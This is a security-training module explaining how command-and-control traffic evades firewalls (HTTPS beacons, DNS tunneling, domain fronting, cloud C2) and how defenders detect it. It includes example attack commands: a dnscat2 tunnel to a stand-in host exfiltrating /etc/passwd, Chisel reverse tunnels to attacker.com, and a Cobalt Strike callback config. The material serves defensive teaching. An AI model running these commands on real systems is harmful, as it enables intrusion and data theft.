Module 3 · Why Firewalls Miss Modern C2

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 22, 2026
5 min read
Read as

Last updated: April 29, 2026

HTTPS C2, DNS tunneling, DoH, domain fronting, living-off-the-cloud — attackers use permitted traffic for everything.

Firewalls see headers, not intent. A firewall rule that permits “outbound HTTPS to any destination” lets through: legitimate web browsing, cloud-based C2, data exfiltration, DNS over HTTPS, file sharing, and cryptocurrency mining — because they all look like HTTPS. This module is about why firewall logs alone never catch modern attackers, and what actually works.

Why this happens

Firewalls were designed to block unwanted traffic. Modern attacks don’t use unwanted traffic — they use wanted traffic turned to unwanted purposes. Every organization needs its employees to browse the web, use SaaS, join video calls, and exchange email. Every one of those protocols is a potential C2 channel, data exfiltration vector, or attack payload delivery mechanism.

The firewall’s fundamental capability — header-based decisions — is poorly matched to a world where 95% of outbound traffic is TLS-encrypted HTTPS that the firewall cannot inspect without TLS interception. And TLS interception breaks certificate pinning, breaks many SaaS applications, and creates its own attack surface at the interception proxy.

How attackers bypass firewalls — concrete techniques

C2 over HTTPS

The modern default. Beacon calls out over HTTPS to an attacker-controlled domain (or CDN-fronted domain). The firewall sees encrypted traffic to a reputable-looking host. Unless you have SSL interception + content inspection + behavioural analytics, this traffic is indistinguishable from normal web browsing.

# Cobalt Strike beacon default config
# ---
# spawnto   = %WINDIR%\sysnative\rundll32.exe
# sleep     = 60s (with 20% jitter)
# get-uri   = /api/v1/sync
# useragent = Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
# callback  = https://cdn-frontend.example.com

# Traffic pattern: HTTP GETs every 60s, encrypted, to a domain with valid cert
# Firewall sees: outbound HTTPS to known-good category (CDN)
# Blue team sees: nothing unusual in traffic volumes

DNS tunneling

DNS is usually allowed outbound to anywhere (the firewall assumes it’s answering queries to the internet). Attacker encodes data in subdomain labels:

# DNS tunnel client (iodine, dnscat2)
dnscat2 --dns server=cmd-server.com --secret=shared_secret

# Attacker DNS server receives:
# Query: aBc123XyZ.cmd-server.com
#   → decodes to "cat /etc/passwd"
# Response: dEf456UvW.cmd-server.com
#   → encodes the passwd file contents

# To firewall: normal DNS traffic
# To defender without DNS analytics: invisible

Detection: DNS query entropy analysis, subdomain count per domain, response size patterns.

DoH / DoT (DNS over HTTPS/TLS)

Newer: DNS traffic wrapped in HTTPS to Cloudflare, Google, NextDNS. Completely bypasses traditional DNS monitoring. Browser-level DoH (Firefox default) means even the local DNS server doesn’t see queries.

Domain fronting

SNI in TLS handshake says “cdn.cloudflare.com” (looks legitimate). Host header inside encrypted request says “attacker-controlled-bucket.s3.amazonaws.com”. CDN routes correctly. Firewall sees only the SNI. Heavily used 2016-2020. Major CDNs eventually blocked (Amazon 2018, Google 2018, Cloudflare 2022), but variations still work at smaller CDNs and self-operated reverse proxies.

Living-off-the-cloud C2

C2 traffic to AWS Lambda, Azure Functions, Google Drive, GitHub Pages. Firewall sees: user accessing AWS / Azure / Google / GitHub. All legitimate cloud providers. Traffic volume normal. Domain reputation pristine.

Protocol tunneling

# SSH over HTTPS (when port 22 blocked but 443 open)
ssh -o ProxyCommand='socat STDIO ssl:proxy.com:443' user@target

# TCP tunnel over SSH
ssh -L 3306:internal-db:3306 jumphost.com

# Chisel — HTTP-tunneled reverse proxy (common red-team tool)
# Attacker server: chisel server --port 443 --reverse --auth user:pass
# Victim: chisel client --auth user:pass attacker.com:443 R:3389:10.0.0.5:3389
# Result: RDP to internal 10.0.0.5 via attacker's HTTPS port

Real-world incidents

  • Cobalt Strike everywhere (2020-2026): most breaches involving persistent access use Cobalt Strike or similar, all tunneling over HTTPS. Ransomware operators, APT groups, financially-motivated crews all use similar C2 patterns. Firewalls caught none of them in the initial access phase.
  • SolarWinds (2020): implant beaconed to DNS subdomains of avsvmcloud.com. Subdomains encoded victim identifiers. Pure DNS-based C2 for ~18 months before detection. Firewalls logged normal DNS.
  • Sunburst / Raindrop backdoors: traffic to cloud CDNs, DNS tunnels, HTTPS beacons. Every technique in this module was used.
  • DNS exfiltration via DNS rebinding attacks: growing 2023-2025 as internal-only services (Kubernetes APIs, admin panels) get probed through victim browsers.

What attackers really look for

  • Outbound HTTPS to any destination — the default-allow rule nobody questions
  • DNS to any external server (not just internal resolvers)
  • Outbound on ports commonly allowed: 443, 53, 80, 22, 123 (NTP tunneling exists)
  • SaaS egress (assumed trustworthy): Google, Microsoft, AWS, Cloudflare, GitHub — any compromised account there is a C2 channel
  • IoT device traffic (often least-monitored outbound)
  • Printers, cameras, badge readers with outbound internet for ‘cloud updates’

What actually detects modern C2

  1. TLS inspection (MITM with organizational CA) + inline content analysis. Breaks cert pinning; requires compensating controls. Usually deployed only for non-sensitive user traffic.
  2. SNI-based policy — allow-list of permitted domains rather than block-list of known-bad.
  3. JA3/JA4 TLS fingerprinting — distinguishes client TLS libraries. Beacons have distinct fingerprints from browsers.
  4. Beaconing detection — traffic analysis for periodic patterns. Tools: Rita, Zeek with beacon detection rules, CrowdStrike/SentinelOne analytics.
  5. DNS analytics — query entropy, subdomain counts, DNS over HTTPS detection, answer size anomalies.
  6. Behavior analytics — UEBA/CASB correlating cloud access anomalies across sessions.
  7. Egress allow-lists — default-deny outbound with explicit allow per service. Painful to deploy; effective when deployed.

Egress control architecture

# Modern zero-trust egress stack
# 1. DNS layer: controlled resolver (e.g., Cisco Umbrella, Cloudflare Gateway)
#    - Block categories (C2, cryptomining, freshly-registered domains)
#    - Log every query for DNS analytics
#    - Block DoH/DoT to uncontrolled resolvers

# 2. TLS inspection proxy for non-sensitive traffic
#    - HTTPS content inspection with corporate CA
#    - Exceptions for banking, healthcare, etc.

# 3. Allow-list-based egress firewall
#    - Explicit allow for required SaaS domains
#    - Block everything else
#    - Log denies (high-value signal)

# 4. Endpoint EDR with network telemetry
#    - Correlates local process with outbound connections
#    - Detects beacon patterns even through HTTPS

Mindset takeaway

Firewalls still matter — they catch the basic stuff. But basic stuff is no longer how organizations get compromised. The attackers you care about use the protocols your employees need. Detection moved from “was this destination blocked?” to “is this pattern of allowed traffic suspicious?” Which requires investment defenders sometimes resist: TLS inspection, DNS analytics, UEBA, EDR correlation.

For pentesters: if the customer’s defensive story is “we have a firewall,” that’s a gap. Ask “how do you detect Cobalt Strike calling out over HTTPS?” If the answer is unclear, you’ve just scoped your engagement.

🧠
Check your understanding

Module Quiz · 15 questions

Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.

Want this for your team?

Custom team training + practitioner advisory

Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.

Book team training call Replies in 4 working hrs · India-only · Senior consultants